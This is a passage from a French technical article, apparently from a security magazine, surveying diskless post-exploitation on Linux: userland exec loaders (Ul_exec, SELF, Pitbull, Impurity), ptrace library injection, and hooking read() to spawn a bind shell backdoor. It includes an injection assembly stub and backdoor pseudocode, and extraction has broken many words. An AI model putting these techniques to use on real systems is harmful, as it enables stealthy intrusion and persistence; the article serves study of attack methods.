uter des binaires dynamiques. Les autres implé-

mentations qui seront vues par la suite permettent d'exé
uter seulement des binaires statiques. Le

fait de pouvoir exé
uter des binaires dynamiques est intéressant mais aggrandit 
onsidérablement

la taille du 
ode. La gestion des variables d'environnement est également présente dans Ul_exe
.

Con
rètement, son outil est simple à utiliser. Il est fourni sous forme de librairie libulexe
.so

qu'il su�t d'ajouter à la 
ompilation. Pour faire appel à la librairie, il faut utiliser la fon
tion

Ul_exe
() de 
ette manière :

[...℄


har * buffer = NULL;

[...℄
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buffer=mmap( NULL,flen,(PROT_READ|PROT_WRITE|PROT_EXEC),

(MAP_PRIVATE|MAP_ANON),-1,0);

if ( buffer == (void *)-1 ) {

perror("mmap()");

return;

}

[...℄

ul_exe
( buffer, arg
, argv );

[...℄

Sur des noyaux Linux > 2.6.11, il est né
essaire de pat
her la librairie 
ar elle fon
tionnait

seulement ave
 une pile pré-dé�nie et les dernières versions du noyau randomizent l'adresse du

début de la pile. Le pat
h suivant permet de 
onnaître le sommet de la pile en runtime :

/*get STACK top on boxes with random sta
k adresses (PaX, kernel > 2.6.11)*/

fd = fopen( "/pro
/self/maps", "r" );

if ( !fd ) {

return;

}

memset( sta
k_top, '\0', sizeof(sta
k_top) );

while( (ptr = fgets(buffer, sizeof(buffer)-1, fd)) != NULL ) {

if ( strstr(ptr, "[sta
k℄") ) {


har * tmp;

tmp = strstr( ptr, "-" );

if ( tmp != NULL ) {

snprintf(sta
k_top,sizeof(sta
k_top),"0x%s",&tmp[1℄);

sta
k_top[sizeof(sta
k_top)-1℄ = '\0';

}

break;

}

}

f
lose( fd );

A noter en
ore que pour 
ompiler la librairie Ul_exe
, il est né
essaire d'utiliser Diet Lib


9

, une

librairie C optimisée pour la 
réation d'objet ELF

10

de petite taille.

Peu après Ul_exe
, The Grugq a développé une autre librarie, appelé libgdbrp
 permettant

d'exé
uter des binaires à distan
e. Cette librairie fon
tionne en 
on
ert ave
 la librairie Ul_exe
, le

tout étant appelé rexe
. Pour pouvoir interagir ave
 la ma
hine visée, il est né
essaire qu'un serveur

soit installé sur 
elle-
i. Lors d'une exploitation, le serveur peut être le pro
essus exploité. Mais il

est également possible que le serveur soit un programme spé
ialement 
onçu à 
ette o

asion. The

Grugq appelle 
es serveurs des IUD :

9

http://www.fefe.de/dietlib
/

10

Exe
utable and Linkable Format
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� Inter Userland Devi
e (IUD), qui permet d'a

éder à son propre espa
e d'adressage.

� Intra Userland Devi
e (IUD), qui permet d'a

éder à n'importe quel espa
e d'adressage, don


aussi 
eux d'autres pro
essus.

Un bon IUD pour The Grugq, est IUD qui permet à l'attaquant de manipuler des registres

et des régions mémoires, qui est un outil standard sous Linux et qui a

epte des 
ommandes en

format texte. La solution la plus évidente est don
 bien évidemment GDB. L'avantage de GDB

est qu'il permet de débugger des programmes à distan
e (peu de personnes le savent). C'est 
ette

fon
tionnalité que The Grugq utilise. Pour pouvoir débugger un programme à distan
e, un stub doit

être lan
é sur la ma
hine 
ible pour interagir entre GDB (qui est sur la ma
hine de l'attaquant) et

les pro
essus visés (�gure 5).
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Fig. 5. Utilisation de gdb pour débugger à distan
e

Dans le 
as de rexe
, l'utilisation d'un stub lui permet d'exé
uter des binaires à distan
e sans

rien é
rire sur le disque. Les di�érentes étapes pour y arriver sont les suivantes :

1. Utiliser libgdbrp
 
omme IUD

2. Uploader le binaire à exé
uter dans la mémoire de la ma
hine 
ible

3. Charger le binaire dans un espa
e d'adressage

4. Transférer l'exé
ution au binaire 
hargé à l'aide de Ul_exe
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L'idée d'utiliser les fon
tionnalités de GDB pour s'en servir 
omme serveur est une bonne idée.

Malheureusement, il n'est pas possible d'utiliser rexe
 à partir d'un exploit. Il faut installer la

libgdbrp
 à partir d'un shell, 
elui-
i devant être obtenu lors de l'exploitation, par exemple ave
 un


onne
t ba
k shell
ode ou un bind shell
ode. Il y a don
 quelque 
hose d'é
rit sur le disque à un

moment pré
is. Par 
ontre, utiliser un IUD séparé du pro
essus exploité permet à l'attaquant de

revenir sur le système à n'importe quel moment et de toujours rester en mémoire. Il sera 
epen-

dant vu, ave
 l'implémentation de Plato, qu'il est possible à partir de l'exploit, d'installer un IUD

permettant de revenir par la suite (une ba
kdoor) sans jamais rien é
rire sur le disque.

SELF SELF (pour Shell
ode ELF loader) est une implémentation d'un userland exe
ve développée

par Pluf et Ripe [18℄. Cette implémentation, 
ontrairement à Ul_exe
, a été developpée dans un

but d'attaque, 
'est à dire pour fon
tionner dans un exploit. La prin
ipale di�éren
e entre Ul_exe


et SELF est que 
e dernier ne peut exé
uter des binaires dynamiques mais seulement des binaires

statiques. Il est évident qu'implémenter un userland exe
ve pour des binaires statiques est plus

fa
ile que pour des binaires dynamiques, seulement la raison de l'utilisation de binaires statiques

n'est pas seulement là. Lors d'une intrusion sur un système, il n'est pas souvent pratique d'avoir des

binaires dynamiques puisque des librairies peuvent être né
essaires. C'est la raison pour laquelle

les programmes (souvent les exploits) sont le plus souvent 
ompilés en statique. Ils sont également

strippés (
'est à dire que les symboles sont enlevés) pour prendre moins de pla
e (inutile d'avoir

un binaire statique de plusieurs mégas bytes.) Pour �nir, ils sont de plus en plus protégés par 
hif-

frement ave
 des programmes 
omme Burneye

11

ou Shiva

12

pour 
ompliquer le reverse engineering

du binaire.

Le fon
tionnement de SELF est peu plus subtile que Ul_exe
, il se 
ompose de trois parties

le lxobje
t, le builder et le jumper, indépendantes les unes des autres mais fon
tionnant toutes en

harmonie.

Le lxobje
t est un type spé
ial d'objet qui 
ontient tous les élements né
essaires pour rempla
er

l'image d'un pro
essus par un autre. Le lxobjet est 
onstruit sur la ma
hine de l'attaquant par le

builder et se 
ompose également de trois parties :

� Le binaire ELF 
ompilé en statique à exé
uter sur la ma
hine 
ible.

� Une pile pré-
onstruite 
ontenant le 
ontexte né
essaire lors du lan
ement du binaire. Comme

le binaire est un binaire statique, le ve
teur auxv né
essaire à l'éditeur de liens dynamiques

est absent.

� Le shell
ode loader, 
elui-
i est simplement une implémentation d'un userland exe
ve. Sa

prin
ipale utilité est de rempla
er l'image du pro
essus 
ible par 
elui du binaire statique.

Il unmappe don
 les pages de l'an
ien pro
essus pour 
harger les segments appartenant au

binaire statique.

Le jumper est simplement le shell
ode envoyé lors de l'exploitation. Il attend un lxobje
t et

donne le 
ontr�le de l'exé
ution au shell
ode loader. Ce dernier se 
harge de rempla
er l'image du

pro
essus exploité par l'image du binaire statique à exé
uter.

11

http://pa
ketstormse
urity.org/groups/teso/burneye-1.0.1-sr
.tar.bz2

12

http://www.se
urereality.
om.au/ar
hives/shiva-0.95.tar.gz
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Il y a 
ependant un problème majeur dans 
ette implémentation : le binaire exé
uté sur la

ma
hine 
ible est exé
uté à la pla
e du pro
essus exploité. Il est don
 impossible d'exé
uter plusieurs

fois le même binaire ou d'exé
uter des binaires di�érents ! C'est totalement 
ontraignant, l'idéal étant

d'avoir un système similaire, mais permettant des exé
utions multiples.

Pitbull Peu après la sortie de SELF, un de ses auteurs, Pluf, a sorti une te
hnique dérivée de SELF

qui permet d'exé
uter un binaire plusieurs fois sur la ma
hine 
ible [15℄. La prin
ipale di�éren
e

par rapport à SELF est que le lxobje
t est 
onstruit sur la ma
hine 
ible et plus sur la ma
hine de

l'attaquant. Pitbull est le nom donné à 
e logi
iel.

Pas besoin d'aller bien loin pour 
omprendre 
omment Pitbull fon
tionne : il utilise tout simple-

ment un fork(). Un pro
essus �ls est 
réé et 
'est l'image du pro
essus �ls qui est rempla
ée par le

binaire à exé
uter. Une amélioration intéressante 
ependant par rapport à SELF est le fait que Pit-

bull permet de sto
ker les binaires envoyés dans l'espa
e d'adressage du pro
essus père (le pro
essus

exploité). De 
ette manière, s'il est né
essaire d'exé
uter plusieurs fois le même binaire, il n'y a au-


un besoin de le renvoyer au jumper. Pitbull utilise toujours des binaires statiques pour fon
tionner.

Malgré que 
ette te
hnique soit plus intéressante que SELF, elle possède néanmoins un in
on-

vénient majeur. Si un pro
essus Apa
he par exemple est exploité et le shell
ode (par exemple le

jumper de Pitbull qui attend les binaires à exé
uter) est lan
é, le démon 
ontinue de tourner malgré

tout puisqu'il y a de fortes 
han
es que 
e soit un de ses �ls qui soit exploité. Maintenant dans le 
as

où seulement un seul pro
essus tourne, il est impossible que le pro
essus revienne à son état normal.

Après avoir envoyé le shell
ode, la mémoire de 
e pro
essus est en e�et 
orrompue, ses registres, ses

régions mémoire, les données dans les bu�ers, sa pile ... sont modi�és. Et il est impossible de sauter

au point d'entrée du programme (il faudrait re
onstruire tout 
e qui a été é
rasé). Le pro
essus est

don
 
ondamné à mourir et 
omme il est unique, le serveur ne sera pas relan
é. Il pourrait être

envisageable de relan
er le serveur avant que le pro
essus ne se termine (il y a souvent un exit()

à la �n des shell
odes). Mais en
ore une fois, 
'est impossible puisque si le démon est relan
é, il

devra mettre un port dé�ni sur é
oute (binder un port). Or 
e port y est déjà puisque le pro
es-

sus 
ondamné est toujours a
tif. Le 
hat se mord la queue. Une solution est étudiée lorsqu'il sera

question de Plato.

Impurity La dernière implémentation d'un userland exe
ve présentée i
i s'appelle Impurity. Il

s'agit d'une suite de s
ripts 
réée par Alexander E. Cuttergo [7℄ permettant d'exé
uter un binaire

sur une ma
hine distante sans rien é
rire sur le disque. Il est question également d'un shell
ode en

deux parties, un multi-stage shell
ode. Comme SELF et Pitbull, il est orienté pour l'exploitation.

La di�éren
e 
ependant est qu'il ne rempla
e pas l'an
ienne image du pro
essus. Pour 
e faire, le

binaire doit être 
ompilé d'une 
ertaine manière :

1. Le binaire est 
ompilé en statique 
omme dans SELF (au
un problème de librairies à 
harger).

2. D'habitude, le segment PT_LOAD qui 
ontient la se
tion .text (le segment exé
utable) est

mappé à l'adresse 0x08048000. Or à 
ette adresse, il y a déjà l'autre binaire qui est mappé.

Comme Impurity ne veut pas unmapper les pages de l'an
ien binaire, il faut pla
er le binaire

à exé
uter autre part. Ce sera dans la pile. Le segment 
ontenant la se
tion .text est ainsi

linké pour démarrer à une autre adresse, i
i 0xb�f1000 qui est une adresse dans la pile. Si
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maintenant la pile est non exé
utable, il est toujours possible de pla
er le 
ode dans une région

mémoire allouée ave
 mmap et ave
 les prote
tions PROT_EXEC. Les arguments et les

variables d'environnement sont également enlevés pour plus de fa
ilité, il n'y a don
 pas i
i de

pile à pré
onstruire.

3. Le binaire doit également être linké pour que le segment de 
ode et le segment de données ne

soient pas disjoints (
ontrairement à un binaire 
ompilé normalement). De 
ette manière, le


hargement du binaire en mémoire sera beau
oup plus simple (plus besoin de 
harger 
haque

segment indépendamment).

4. Les binaires 
ompilés en statique ave
 la Lib
 sont souvent de tailles importantes, même s'ils

sont strippés. Le binaire sera don
 
ompilé ave
 la Diet Lib
.

Le fon
tionnement d'Impurity se base aussi sur un multi-stage shell
ode. Le premier shell
ode

reçoit le binaire à exé
uter, le pla
e dans la pile et saute à son point d'entrée.

Pour 
haque binaire à exé
uter sur la ma
hine distante, il faudra passer par 
es 4 étapes.

Si le fon
tionnement d'Impurity est intéressant puisque le pro
essus exploité n'est pas rempla
é,

il est toute fois relativement 
ontraignant de devoir re
ompiler 
haque binaire de 
ette manière.

Néanmoins, l'appro
he 
hoisie par Impurity pour exé
uter un binaire en userland est beau
oup

plus fa
ile à implémenter.

4 Ba
kdooring de pro
essus et inje
tion de librairies

Di�érentes te
hniques permettant de ne rien é
rire sur le disque lors d'une intrusion viennent

d'être abordées. Ces te
hniques peuvent être utilisées lors de l'étape 2 � Attaque et penétration �

d'une intrusion. La troisième étape 
on
ernant l'élévation de privilèges ne vaut pas la peine de s'y

attarder. Pour rappel, l'obje
tif est d'obtenir des privilèges plus importants pour avoir un 
ontr�le

total de la ma
hine et notamment pouvoir relan
er le serveur exploité. Pour 
e faire, les te
hniques

pré
édentes (telles que le remote userland exe
ve ou le sys
all proxy) sont aussi utilisées à 
e stade

de l'intrusion pour envoyer sur la ma
hine exploitée un exploit lo
al et l'exé
uter.

Reste alors l'étape 4 � installation d'une ba
kdoor �. Cette étape est né
essaire à l'attaquant

s'il souhaite revenir fa
ilement sur la ma
hine 
ible sans passer par toute la phase d'exploitation.

L'obje
tif prin
ipal reste toujours le même : ne rien é
rire sur le disque. La ba
kdoor doit don
 elle

aussi être installée en mémoire vive. Inutile de 
orrompre un binaire et de relan
er un serveur, il

y aura des informations ins
rites sur le disque. La solution la plus évidente reste don
 de pla
er la

ba
kdoor dans la mémoire d'un serveur déjà lan
é sur la ma
hine.

4.1 L'an
ienne méthode : l'inje
tion de 
ode assembleur

L'an
ienne méthode pour infe
ter un pro
essus était d'inje
ter dire
tement du 
ode assembleur

dans son espa
e d'adressage à l'aide de l'appel système ptra
e(). Les rappels d'usage 
on
ernant

ptra
e() ne seront pas expliqués i
i, un arti
le sur 
et appel système dans 
es a
tes lui étant entiè-

rement 
onsa
ré. Le le
teur peut également 
onsulter l'arti
le sur l'utilisation de la mémoire vive

dans MISC 25 [11℄.
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Pour pouvoir inje
ter du 
ode, il est né
essaire d'avoir un minimum d'espa
e. Deux solutions

don
 : soit l'inje
tion se fait dans la mémoire déjà allouée qui 
ontient des instru
tions ou des

données qui ne sont plus né
essaires (voir à 
e propos l'arti
le dans MISC 25 [11℄), soit un nouvel

espa
e dans la mémoire du pro
essus est alloué, à l'aide par exemple de l'appel système mmap().

Mais quelle que soit la solution, il est impossible de réaliser des ba
kdoors évoluées ave
 
e type

d'inje
tion. Son seul avantage est qu'elle peut fon
tionner autant ave
 des binaires statiques que

dynamiques.

4.2 Inje
tion de librairies en lo
al

Une méthode plus pratique pour 
orrompre la mémoire d'un pro
essus est d'inje
ter dire
tement

une librairie. La librairie peut ainsi 
ontenir toutes les opérations à faire réaliser par le serveur à 
or-

rompre. Pour inje
ter une librairie, il est né
essaire de passer par la fon
tion dlopen(), dépendante

de la librairie libdl.so :

void *dlopen(
onst 
har *filename, int flag);

void *dlsym(void *handle, 
onst 
har *symbol);

int dl
lose(void *handle);

dlopen() 
harge dans la mémoire du pro
essus une librairie présente sur le disque, l'empla
e-

ment de la librairie sur le disque étant spé
i�é par �lename. Le 
hamps �ag permet de 
ontr�ler

la résolution des symboles importés. La fon
tion dlopen() mar
he de 
on
ert ave
 les fon
tions

dlsym() et dl
lose(). dlsym() permet d'obtenir l'adresse de l'empla
ement où est 
hargé le sym-

bole en mémoire (typiquement une fon
tion). Une fois 
ette adresse obtenue, la fon
tion peut être

appelée. dl
lose() permet simplement de dé
harger une librairie pré
édemment 
hargée à l'aide de

dlopen(). Ces trois fon
tions appartiennent à la libdl, il est don
 né
essaire que 
ette librairie soit

déjà 
hargée. Malheureusement, 
e n'est pas souvent le 
as. Il faut alors passer par les fon
tions

_dl_open(), _dl_sym() et _dl_
lose().

void *_dl_open(
onst 
har *file, int mode, 
onst void *
aller);

void *_dl_sym(void *handle, 
onst 
har *name, void *who);

void *_dl_
lose(void *_map);

Ces trois fon
tions sont similaires à 
elles de la libdl sauf qu'elles sont 
ontenues dans la Lib


toujours présente dans les binaires 
ompilés en dynamique. Il est don
 préférable d'utiliser les fon
-

tions de la Lib
 que 
elle de la libdl, les fon
tions de la libdl n'étant de toute façon que des

fon
tions de passage vers les fon
tions de la Lib
. A noter le paramètre 
aller dans _dl_open()

qui n'est pas né
essaire i
i et qui peut être mis à NULL.

Pour que le pro
essus 
harge la librairie, un petit 
ode assembleur qui e�e
tue le _dl_open()

est inje
té dans la mémoire du pro
essus à l'aide de ptra
e() :

_start:

jmp string

begin:

pop eax ; 
har *file

xor e
x, e
x ; *
aller
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mov edx,0x1 ; int mode

mov ebx, 0x12345678 ; addr of _dl_open()


all ebx ; 
all _dl_open!

add esp, 0x4

int3 ; breakpoint

string:


all begin

db "/tmp/evillibrary.so", 0x00

L'adresse 0x12345678 doit être 
hangée par la véritable adresse de _dl_open(). Une fois la

librairie 
hargée, il faut maintenant hija
ker (ou détourner) une fon
tion pour pla
er la ba
kdoor.

Pour 
ela, il est né
essaire tout d'abord de 
onnaître son empla
ement en mémoire, en utilisant soit

la link map si le binaire a été linké ave
 un an
ien éditeur de liens [1℄, soit la PLT

13

pour les nouveaux

éditeurs de liens [11℄. C'est 
ette dernière te
hnique qui est retenue pour la simple et bonne raison

qu'elle fon
tionne dans tous les 
as. Elle permet notamment de 
onnaître l'adresse de_dl_open().

Une fois l'adresse de l'an
ienne fon
tion obtenue, il faut la rempla
er par la nouvelle fon
tion

qui est dé�nie dans la librairie inje
tée (i
i /tmp/evillibrary.so). Pour 
e faire, la méthode la plus

simple est soit d'utiliser la GOT (GOT redire
tion), soit la PLT (PLT redire
tion), sa
hant

qu'ave
 la GOT il n'y aura au
un problème même si le noyau a été 
ompilé ave
 PaX

14

. Dans

les deux 
as, l'entrée de la fon
tion à détourner est rempla
ée par l'adresse de la nouvelle fon
tion

se trouvant dans la librairie qui est 
hargée. Dans 
ette nouvelle fon
tion, il sera souvent né
es-

saire d'appeller la fon
tion d'origine, il faudra alors utiliser dlsym(). Des te
hniques plus avan
ées


omme ALTPLT [14℄ et CFLOW [10℄ sont également possibles (et même mieux) mais elles ne

seront pas abordées i
i pour ne pas égarer le le
teur

15

.

Pour 
iter un exemple, une librairie peut être 
hargée dans un pro
essus Apa
he à l'aide de

dlopen() et la fon
tion read() peut être hija
ké. La nouvelle fon
tion read(), dès qu'elle reçoit

une 
haîne de 
ara
tères spé
i�que, lan
e un bind shell :

new_read (fd, buf, 
ount)

1: o_read← dlsym(”libc.so”, ”read”)
2: size← o_read(fd, buf, count)
3: if buf = MAGIC_WORD then

4: laun
h bind shell

5: end if

6: return size
Algorithme 2 : Redire
tion de la fon
tion read

13

Pro
edure Linkage Table

14

http://pax.grse
urity.net/

15

Est-il toujours là ? :-)
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Une implémentation presque similaire a été développée par Ares [3℄ dans l'arti
le faisant suite

à 
elui de phra
k [1℄.

Le grand problème de 
ette te
hnique, malgré le fait qu'elle soit très e�
a
e, est que la librairie

est é
rite sur le disque avant d'être 
hargée (i
i dans le répertoire /tmp), dlopen() et_dl_open()

né
essitant tous les deux 
omme premier argument l'empla
ement de la librairie sur le disque. Une

solution pour 
ontrer 
e problème est de pla
er la librairie dans une partition tmpfs ou ramdisk,

qui sont des partitions 
réées en mémoire vive [11℄. La librairie n'est alors jamais é
rite sur le disque.

4.3 Inje
tion de librairies à distan
e

Comme dans le 
as de l'exé
ution d'un binaire à l'aide d'un remote userland exe
ve ou d'un

sys
all proxy, il est intéressant d'installer la librairie dans la mémoire du pro
essus à distan
e et

sans passer par le disque (pas de tmpfs ou de ramdisk). L'idée, 
omme dans le 
as d'un userland

exe
ve, est de re
evoir la librairie par le réseau en é
outant sur une so
ket. Une fois ré
eptionnée,

elle est pla
ée dans la mémoire du pro
essus et est ensuite 
hargée à l'aide de _dl_open(). Mal-

heureusement, _dl_open() a besoin d'une librairie présente sur le disque et non déjà en mémoire.

Il est alors né
essaire de pro
éder autrement.

Dans l'arti
le remote library inje
tion de Jarko Turkulainen [10℄, deux solutions sont proposées.

L'idée de la première (On-Disk Remote Library Inje
tion) est simplement, une fois la librairie ré-


eptionnée dans la mémoire du pro
essus distant, d'é
rire 
ette librairie sur le disque. Elle peut

ensuite fa
ilement être 
hargée en mémoire. Comme ça a été dit, si 
ette te
hnique est utilisée, il

est né
essaire de passer par un tmpfs ou un ramdisk pour que rien ne soit é
rit sur le disque. Les

di�érentes étapes du 
oté serveur permettant d'y arriver sont les suivantes :

1. Ouvrir un �
hier sur le disque (tmpfs ou ramdisk)

2. Ré
eptionner sur la so
ket la librairie envoyée et la sauvegarder dans la pile, dans le tas ou dans

un plage mémoire mappée

3. E
rire dans le �
hier la librairie sto
kée dans la pile

4. Fermer le �
hier 
réé

5. Résoudre l'adresse de _dl_open()

6. Appeler _dl_open() ave
 la librairie é
rite sur le disque

La deuxième te
hnique proposée par Jarko Turkulainen (In-Memory Remote Library Inje
tion) est

légèrement di�érente. Dans 
elle-
i, rien n'est é
rit sur le disque, pas même sur une partition de

type tmpfs ou ramdisk. Son idée est de hooker les fon
tions d'opérations sur �
hier utilisées par

dlopen(), 
'est à dire open(), read(), lseek(), mmap() et fxstat64().

Soit l'exemple de open(). Cette fon
tion qui est une fon
tion de la Lib
 et qui agit 
omme

un wrapper vers l'appel système open(), est utilisée pour ouvrir la librairie présente sur le disque.

Comme elle est présente seulement en mémoire, il faut pro
éder autrement. Si le nom de �
hier

passé en paramètre à la fon
tion open() est la librairie à 
harger, alors un des
ripteur de �
hier
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spé
ial est retourné. Il est en fait utilisé tout au long du pro
essus de 
hargement de la librai-

rie lors des appels subséquents aux autres opérations sur �
hier et 
ontiendra aussi bien l'adresse

de base où est 
hargée la librairie, la taille de la librairie ou en
ore la position 
ourante dans le �-


hier 
hargé en mémoire. Ces informations sont utilisées ensuite par les autres opérations sur �
hier.

L'idée est intéressante, 
ependant il semble que 
e soit assez 
ompliqué à mettre en oeuvre. Le


on
ept n'est que théorique et au
une implémentation publique n'existe à 
e jour. Une autre idée

plus intéressante et plus simple pour 
harger une librairie déjà présente en mémoire est de re
oder


omplètement la fon
tion dlopen(). La nouvelle fon
tion ainsi 
odée permettra de 
harger une

librairie déjà présente en mémoire.

5 Constatations

5.1 Constatations générales

Le serveur exploité sur la ma
hine 
ible est 
ondamné à mourir

Une fois un serveur exploité sur une ma
hine 
ible, Openssh, Apa
he, ProFTP ou un autre, il

n'est plus possible de relan
er le pro
essus. Sa mémoire a été 
orrompue, les registres ont main-

tenant des valeurs di�érentes, des pointeurs ont probablement été é
rasés, ... et il est impossible

de deviner les valeurs initiales. Envisager de relan
er le binaire en sautant simplement à son point

d'entrée est quasiment impossible puisqu'il faut pour 
ela remettre la pile dans son état initial. Le

pro
essus est don
 
ondamné à mourir. Ce problème est néanmoins très intéressant et ouvert. Il n'y

a pas en
ore de solution générique à l'heure a
tuelle.

Comme il a été stipulé pré
édemment, dans le 
as d'un pro
essus Apa
he, le problème ne se

pose pas puisque 
'est souvent le pro
essus �ls qui est exploité et 
ontr�lé, laissant le pro
essus père

fon
tionner et lan
er des �ls normalement. Dans le 
as des servi
es gérés par inetd, 
e dernier peut

relan
er les pro
essus se terminant anormalement (
e qui peut permettre par exemple de brutefor
er

les adresses lors d'une exploitation ...). Il peut y avoir 
ependant des problèmes ave
 des démons

qui ne fork pas et qui ne se relan
ent pas. Dans 
e 
as, une fois l'exploitation terminée, le pro
essus

meurt et le servi
e n'existe plus, empê
hant de se re
onne
ter au port. Il est don
 impératif dans


e 
as de le relan
er.

Le serveur ne peut être relan
é juste avant de mourir

La solution de relan
er le serveur juste avant que le pro
essus exploité ne meurt ne peut fon
-

tionner. Simplement par
e que le pro
essus a déjà bindé le port du serveur et qu'il est impossible

de relan
er un serveur qui va é
outer lui aussi sur le même port. Il faut don
 relan
er le serveur

après que le pro
essus se termine.

Le serveur ne peut être relan
é par manque de privilèges



359

Par sou
i de sé
urité, très peu de démons aujourd'hui sont lan
és ave
 les permissions root sur

les serveurs. Don
, lors de l'exploitation d'un de 
es démons, l'attaquant obtiendra les privilèges du

pro
essus exploité. Même s'il a une solution pour relan
er le servi
e, il n'aura pas les permissions

su�santes pour le faire. Une élévation de privilèges est don
 souvent né
essaire.

5.2 Constatations à propos du userland exe
ve

Le binaire ne doit pas être re
ompilé d'une manière (trop) spé
i�que

Une implémentation 
omme 
elle d'Impurity est intéressante 
ar plus fa
ile à implémenter, mais

beau
oup trop 
ontraignante dans le sens où le binaire doit être re
ompilé (segments non disjoints,

entry point di�érent, ...). S'il est né
essaire de le faire de 
ette manière pour tous les exé
utables

a�n de les lan
er sur la ma
hine distan
e, 
ela peut vite devenir 
ontraignant. Il est don
 préférable

de simuler le fon
tionnement d'un exe
ve() le plus juste possible, 
'est à dire en rempla
ant l'image

d'un pro
essus par l'image du binaire à lan
er, de la même manière que Ul_exe
, de SELF et de

Pitbull.

Utiliser des exé
utables 
ompilés en dynamique n'est pas une bonne idée

Ul_exe
 permet d'exé
uter des binaires dynamiques par rapport à SELF et à Pitbull. Il est

évident qu'implémenter un userland exe
ve pour des binaires dynamiques est un peu plus 
ompli-

qué, mais 
e n'est pas la raison pour laquelle il ne faut pas utiliser une implémentation pour des

binaires dynamiques.

Si l'exé
utable est dynamique, il est né
essaire que toutes les librairies dont il a besoin soient

présentes sur le système 
ible. Ce n'est pas for
ément toujours le 
as. Maintenant, si les librairies

sont présentes sur le système 
ible, elles ne portent pas for
ément le même nom ou n'ont pas la même

version (les noms dépendent des versions des librairies). Et 
omme le nom des libraires né
essaires

à l'exé
ution d'un binaire dynamique sont hard
odées dans 
e dernier (la 
ommande ldd permet de


onnaitre les noms des librairies utilisées par le binaire), il peut vite devenir di�
ile d'implémenter

un userland exe
ve pour des binaires dynamiques.

Un userland exe
ve doit forker pour ne pas tuer le pro
essus utilisé

Dans la solution proposée par SELF, le pro
essus utilisé sur la ma
hine 
ible est rempla
é en

mémoire par l'image du binaire à exé
uter. C'est une très mauvaise idée 
ar dans 
e 
as le pro
es-

sus initial ne peut plus être réutilisé. Une implémentation d'un userland exe
ve doit don
 forker

avant d'exé
uter réellement le binaire, exa
tement 
omme la fon
tion system() de la Lib
. Après le

fork(), 
'est au �ls d'exé
uter le binaire. De 
ette manière, il est possible de réutiliser le pro
essus

père pour lan
er un autre binaire.

Les pages ne doivent pas être swappées sur le disque
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Dans le 
as d'un userland exe
ve, tout le binaire va se retrouver dans la mémoire de la ma
hine


ible. Il se peut don
 qu'à un moment donné, le noyau manque de pla
e et swap sur le disque une

partie des pages 
ontenant l'exé
utable. Une partie du binaire est alors é
rite sur le disque. Pour

l'éviter, l'utilisation de l'appel systèmemlo
k() peut empê
her 
ertaines pages d'être swappées sur

le disque.

Le binaire à exé
uter sur la ma
hine 
ible doit être le plus petit possible

Dans le 
as d'un userland exe
ve, il est avantageux d'avoir un binaire de petite taille, de manière

à é
raser le moins possible la mémoire de la ma
hine 
ible. Et surtout, les pages risquent d'êtres

moins swappées sur le disque. Il est dès lors intéressant de 
ompiler le binaire ave
 la Diet Lib
 pour

le rendre le plus petit possible.

5.3 Constatations à propos du sys
all proxy

Beau
oup trop de 
ommuni
ations réseaux

L'algorithme d'un sys
all proxy né
essite beau
oup d'é
hanges de données entre la ma
hine lo-


ale et la ma
hine exploitée. Il y a toujours minimum 2 é
hanges par appel système : l'envoi de

la requête par le 
lient au serveur et l'envoi du résultat de l'exé
ution de l'appel système par le

serveur au 
lient. Ce résultat peut être simplement une valeur de retour ou un entier (dans le 
as de

l'exé
ution de l'appel système open()) mais aussi un bu�er (dans le 
as de l'exé
ution de l'appel

système read() où le 
lient souhaite ré
upérer le 
ontenu de 
e qui a été lu). C'est don
 évident

que le sys
all proxy peut vite sou�rir de lenteur si plusieurs appels système sont exé
utés.

Il est né
essaire de réimplémenter tous les appels système

En prenant la solution d'une librairie qui sera 
hargée ave
 la variable d'environnement LD_-

PRELOAD du 
�té du 
lient, il est né
essaire de réimplémenter la totalité des appels système. Ça


on
erne don
 environ 200 appels système si l'on veut avoir la 
han
e de pouvoir envoyer tous les

outils souhaités ( nmap par exemple). Un travail 
olossal.

L'appel système fork() ne peut pas être utilisé

La fon
tion fork() fait partie des appels système standards d'UNIX. Cette fon
tion permet à

un pro
essus de se dupliquer, par exemple en vue de réaliser un se
ond traitement, parallèlement

au premier. Il existe une �liation dans les pro
essus : le 
réateur d'un nouveau pro
essus est appelé

le père et le nouveau pro
essus, le �ls. Le fait qu'il y ait une dupli
ation de pro
essus rend quasi

impossible la reprodu
tion de l'appel système fork() dans un sys
all proxy. Le 
lient ne saura


ommuniquer qu'ave
 le pro
essus père. Au
un moyen n'existe pour ratta
her le pro
essus �ls à


ette 
ommuni
ation déjà existante.
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5.4 Remote Userland Exe
ve ou Sys
all Proxy ?

Pour pouvoir tran
her entre les deux solutions, nous avons e�e
tué quelques ben
hmarks dans

le but de mieux se rendre 
ompte de l'e�
a
ité de 
haque te
hnique (même si nous avions déjà

notre avis sur la méthode qui s'avérerait la plus rapide). Ces ben
hmarks ne sont 
ependant pas

optimaux dans le sens où les essais réalisés n'ont pas été assez nombreux et les ar
hite
tures pas

assez diversi�ées. Néanmoins, les résultats obtenus sont déjà assez signi�
atifs et permettent déjà

de tirer quelques 
on
lusions.

D'un point de vue ar
hite
ture, les ben
hmarks ont été e�e
tués entre deux ma
hines jouant le

r�le de 
lient et serveur. Sur 
ha
une d'entre elles a été installé un serveur ntpd. Le premier s'est

syn
hronisé ave
 un serveur ntpd en ligne sur Internet. Le se
ond s'est syn
hronisé ave
 le premier.

Il a fallu attendre plusieurs jours pour une totale syn
hronisation des deux ma
hines de manière à

réduire au maximum la dérive. Les noyaux installés sur 
haque ma
hine sont un 2.4.13-pre9 pour

le 
lient et un 2.4.31 pour le serveur.

Au niveau fon
tionnel, l'obje
tif a été de reproduire l'exé
ution du programme suivant en utili-

sant les te
hniques de sys
all proxy et de remote userland exe
ve :

int

main( void )

{

int fd;


har buffer[ 4192 ℄;

fd = open( "/tmp/same_file", O_RDONLY );

read( fd, buffer, sizeof(buffer) );

printf( "%s", buffer );


lose( fd );

}

Le �
hier /tmp/same_�le a été 
réé sur 
haque ma
hine ave
 le même 
ontenu, permettant

ainsi de ne pas fausser les résultats.

C�té remote userland exe
ve, nous avons repris l'outil SELF qui s'avérait être adapté à 
e que

nous voulions faire. Pour le sys
all proxy, nous avons du implémenter notre propre solution a�n de

pouvoir fournir en entrée le programme sour
e pré
édent. Nous utilisons 
�té 
lient une librairie que

nous 
hargeons ave
 la variable d'environnement LD_PRELOAD et qui hook les appels système

(en l'o

uren
e 
eux utilisés par le programme de test).

Les résultats obtenus 
orrespondent quelle que soit la te
hnique, à la di�éren
e entre l'heure

à laquelle le 
lient s'est 
onne
té au serveur et l'heure à laquelle le serveur a 
